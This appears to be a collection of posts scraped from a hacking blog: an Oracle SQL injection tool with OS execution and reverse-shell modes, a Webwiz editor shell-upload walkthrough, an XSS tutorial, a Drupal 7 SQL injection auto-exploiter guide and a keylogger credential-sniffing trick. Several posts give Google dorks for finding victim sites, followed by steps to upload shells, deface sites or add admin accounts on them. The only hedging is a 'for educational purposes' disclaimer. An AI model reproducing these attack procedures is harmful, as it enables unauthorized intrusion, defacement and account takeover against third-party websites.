• MS-SQL
• MySQL
• PostgreSQL
• Oracle

The tool supports 8 attack modes(-type switch):-

Type 0: Blind SQL Injection based on true and false conditions returned by back-end server

Type 1: Blind SQL Injection based on true and error(e.g syntax error) returned by back-end server.

Type 2: Blind SQL Injection in "order by" and "group by".

Type 3: extracting data with SYS privileges (ORACLE dbms_export_extension exploit)

Type 4: is O.S code execution (ORACLE dbms_export_extension exploit)

Type 5: is reading files (ORACLE dbms_export_extension exploit, based on java)

Type 6: is O.S code execution DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC exploit

Type 7: is O.S code execution SYS.KUPP$PROC.CREATE_MASTER_PROCESS(), DBA Privs

-cmd=revshell Type 7 supports meterpreter payload execution, run generator.exe first

Type 8: is O.S code execution DBMS_JAVA_TEST.FUNCALL, with JAVA IO Permissions

-cmd=revshell Type 8 supports meterpreter payload execution, run generator.exe first

For Type 4(O.S code execution) the following methods are supported:

-stype: How you want to execute command:

SType 0 (default) is based on java..will NOT work against XE.

SType 1 is against oracle 9 with plsql_native_make_utility.

SType 2 is against oracle 10 with dbms_scheduler.

Download Now

Disclaimer:

This Article is for Education purpose only.  The above mentioned software is developed for Penetration testers to test their own Web application Vulnerability. 

HACK Website with RTE Webwiz Vulnerability | File Shell upload

HACK Website with RTE Webwiz Vulnerability | File Shell upload:Guyz again I'm here with new WEB VULNERABLITY called HACK Website with RTE Webwiz Vulnerability | File Shell upload.
Webwiz rich text editor HTML code is carried in the open after they are sent charCode due functioning of the page .So Lets start..

Follow The Instructions:-

1). Expolits:-

• site.com/rte/RTE_popup_file_atch.asp 
• site.com/admin/RTE_popup_file_atch.asp

2). Go to google and type one of the following dorks.

• inurl:rte/my_documents/my_files
• inurl:/my_documents/my_files/ 

3). Open any site ..say

site.com/rte/my_documents/my_files/

4). Now replace every thing after site.com with

 rte/RTE_popup_file_atch.asp 

so it will look like-

site.com/rte/RTE_popup_file_atch.asp 

5). Open it and upload you Shell or deface

6). Now click on upload button and after that you will get path to your uploded file in the FILE URL box

Happy hacking.. Only for Educational Purposes..!

Cross Site Scripting(XSS) Complete Tutorial for Beginners~ Web Application Vulnerability

What is XSS?
Cross Site Scripting also known as XSS , is one of the most common web appliction vulnerability that allows an attacker to run his own client side scripts(especially Javascript) into web pages viewed by other users. In a typical XSS attack, a hacker inject his malicious javascript code in the legitimate website . When a user visit the infected or a specially-crafted link , it will execute the malicious javascript. A successfully exploited XSS vulnerability will allow attackers to do phishing attacks, steal accounts and even worms.

Example :Let us imagine, a hacker has discovered XSS vulnerability in Gmail and inject malicious script. When a user visit the site, it will execute the malicious script. The malicious code can be used to redirect users to fake gmail page or capture cookies. Using this stolen cookies, he can login into your account and change password.

It will be helpful for understanding XSS , if you have the following prerequisite:

• Strong Knowledge in HTML,javascript(Reference).
• Basic Knowledge in HTTP client-Server Architecure(Reference)
• [optional]Basic Knowledge about server side programming(php,asp,jsp)

XSS Attack:
Step 1: Finding Vulnerable Website
Hackers use google dork for finding the vulnerable sites for instance  "?search=" or ".php?q=" .  1337 target specific sites instead of using google search.  If you are going to test your own site, you have to check every page in your site for the vulnerability.

Step 2: Testing the Vulnerability:
First of all, we have to find a input field so that we can inject our own script, for example: search box, username,password or any other input fields.

Test 1 :
Once we found the input field, let us try to put some string inside the field, for instance let me input "HS". It will display the  result .

Now right click on the page and select view source.   search for the string "HS" which we entered in the input field.  Note the location where the input is placed.

Test 2:
Now we are going to check whether the server sanitize our input or not.  In order to do this , let us input the <script> tag inside the input field.

View the source of the page . Find the location where input displayed place in previous test.

Thank god, our code is not being sanitized by the server and the code is just same as what we entered in the field. If the server sanitize our input, the code may look like this &lt;script&gt;. This indicates that the website vulnerable to XSS attack and we can execute our own scripts .

Step 3: Exploiting the vulnerability
Now we know the site is somewhat vulnerable to XSS attack.  But let us make sure whether the site is completely vulnerable to this attack by injecting a full javascript code.  For instance, let us input <script>alert('HS')</script> .

Now it will display pop-up box with 'HS' string. Finally, we successfully exploit the XSS .  By extending the code with malicious script, a hacker can do steal cookies or deface the site and more.

Types of XSS Based on persisting capability:
Based one Persistence capability, we can categorize the XSS attack into two types namely Persistent and Non-Persistent.

Persistent XSS:

The Persistent or Stored XSS attack occurs when the malicious code submitted by attacker is saved by the server in the database, and then permanently it will be run in the normal page.

For Example:   
Many websites host a support forum where registered users can ask their doubts by posting message  , which are stored in the database.  Let us imagine , An attacker post a message containing malicious javascript code instead.  If the server fail to sanitize the input provided, it results in execution of injected script.  The code will be executed whenever a user try to read the post. If suppose the injected code is cookie stealing code, then it will steal cookie of users who read the post. Using the cookie, attacker can take control of your account.


Non-Persistent XSS:

Non-Persistent XSS, also referred as Reflected XSS , is the most common type of XSS found now a days. In this type of attack, the injected code will be send to the server via HTTPrequest.  The server embedd the input with the html file and return the file(HTTPResponse) to browser.  When the browser executes the HTML file, it also execute the embedded script.  This kind of XSS vulnerability frequently occur in search fields.

Example:
Let us consider a project hosting website.  To find our favorite project, we will just input the related-word in the search box .  When searching is finished, it will display a message like this "search results for yourword " .  If the server fail to sanitize the input properly, it will results in execution of injected script.

In case of reflected XSS attacks, attacker will send the specially-crafted link to victims and trick them into click the link. When user click the link, the browser will send the injected code to server, the server reflects the attack back to the users' browser.  The browser then executes the code .

In addition to these types, there is also third  type of attack called DOM Based XSS attack, i will explain about this attack in later posts.

What can an attacker do with this Vulnerability?

• Stealing the Identity and Confidential Data(credit card details).
• Bypassing restriction in websites.
• Session Hijacking(Stealing session)
• Malware Attack
• Website Defacement
• Denial of Service attacks(Dos)

Bypassing The XSS Filter Technique: XSS Tutorial Part 2

Reference:

Latest XSS vulnerabilityAttacks

Mass Iframe Injection Tutorials

Disclaimer:

This article is intended for educational purpose only.

Drupal 7.xx SQL Injection Exploit

Drupal 7.xx SQL Injection Vulnerability
This exploit add a new Drupal administrator account (preserving original) via Sql Injection.

NOTE: THIS IS ONLY FOR EDUCATION PURPOSES, AND FOR SAFETY PURPOSE. WE ARE NOT RESPONSIBLE ANY HARM DONE BY YOU.

Requirements:-

1). Python

2). Exploit Script.py

         OR

3). Drupal Auto Exploiter

In this tutorial, i'm just going to show you how to exploit using our Drupal Auto Exploiter since it is fast and easy.

Steps:-

1). Download the auto exploiter from the given link
2). Extract and run it
3).  Find your target on Google by using this dork

intext:"powered by drupal"

4). Choose any site, paste it in exploiter and click EXPLOIT
5). If the site is vulnerable, you will see something like this

6). Click the given login URL and login with the username and password given.

Having Problems?

Feel free to read the Frequent Asked Questions(FAQs) by clicking on HELP

Downloads:-

Python

Exploit Script.py

Drupal AutoExploiter

How to hack keyloggers or RAT's server password

Keylogger's and RAT's nowadays are everybody's problem across the internet. Hackers use keyloggers to hack the email passwords of the victim which they receive in the form of emails or text files on their respective FTP servers. They spread their keyloggers with the help of cracks, keygen's or patches of popular software's or simply through hack tools. So friends, today i will teach you how to reverse engineer the keylogger or RAT to hack the hackers FTP server or email password. 

Most of hackers thinks that they are too smart, so what they do bind their keylogger or Rat servers with popular programs and when user open that their system got infected and hence what ever they type is get recorded and sent to hacker. 

Now all keyloggers sent data to hacker in regular intervals (usually every 5 to 10 minutes) by using below to ways:

1. Using the Emails : where hacker configures his email ID and password while creating the server. Keylogger records the key strokes in a temp file and sends it to the hacker in form of emails. But this has a limit as most free email servers like Gmail or Yahoo or Hotmail has limit of 500 composed and received mails. So most hackers use the second method.

2. FTP server : While creating the keylogger server, hacker configure their FTP server, where they receive the logs of key strokes in the form of text file( usally labeled on the basis of current system time stamp). Hackers keylogger server uploads the files to FTP server after every few minutes interval.

So friends, here the actual trick or loophole in above technique lies. If we monitor the everything coming in and going out of our Ethernet card or Wireless then we can detect that what is going out of our system. Its nothing but just monitoring your your system's traffic, where its going and from where its coming. You can use any of the tool that monitor the packet flow of your Ethernet or wireless card.

ok...ok.. let me tell you my favorite tool for doing the same. I love Wireshark because its simply superb.

Wireshark is a very famous network scanning hack tool which is used by hackers or network forensic experts to monitor the packet flow of their network cards like Ethernet or WLAN. It records the each and every packet coming and going out of your system's Network card. Now you all must be thinking wth is this Packet. Packet is nothing but just a bunch of bits(data in form of 0 & 1) usually 32bit or 64bit. In network terminology, data is termed as packet which can be either TCP or UDP( both contains the header n other stuff accordingly). 

So friends, whenever you feel anything suspicious in your system like your system is compromised or you are infected from a keylogger or RAT or simply you want to test a hack tool and you are not aware that hack tool is safe to use or not. Just follow the below procedure to reverse engineer these noob hacking tools.

Note: Every keylogger or RAT sends the logs to hacker's FTP server or email account after few minutes interval( when you are connected to internet) but some novice keyloggers even tries to send data while you are offline and hence the data sending keep on failing. In some situations it displays warning message and in some situations you PC gets hanged or SVHOST service CPU usage increases. But nothing matters whether it sends logs online or offline, the only thing matter is time period, after what interval it sends data.

Steps to Hack or reverse engineer the Hacker's Keylogger server password:

1. First of all download and install the wireshark. You can easily get this using by Googling it. 

Note: While Wireshark is getting installed, ensure that it installs the Winpcap with it other it won't work properly.

2. Now go to the Capture button in the top menu of the Wireshark as shown below and select the interface( means your network card which can be Ethernet or WLAN).

3. Now it will start capturing the packets through that Network card. What you have to do is just keep capturing the records for atleast 20 - 30 minutes for getting the best results. After 20- 30 minutes, again  go to capture and stop capturing the packets.

4. Now you need to filter your results, for this Go to the filter box and type FTP and SMTP one by one. Note: if you get records for FTP then hacker has used FTP server and if you didn't got FTP that means hacker has used SMTP, so give SMTP in Filter box.

5. As you scroll down you will find the “FTP username” and “Password” for victims ftp account in case FTP server is used.  And if hacker has used SMTP then you will find "email address" and its "password" that hacker has used to create keylogger.

6. That's all my friends. Isn't that too easy.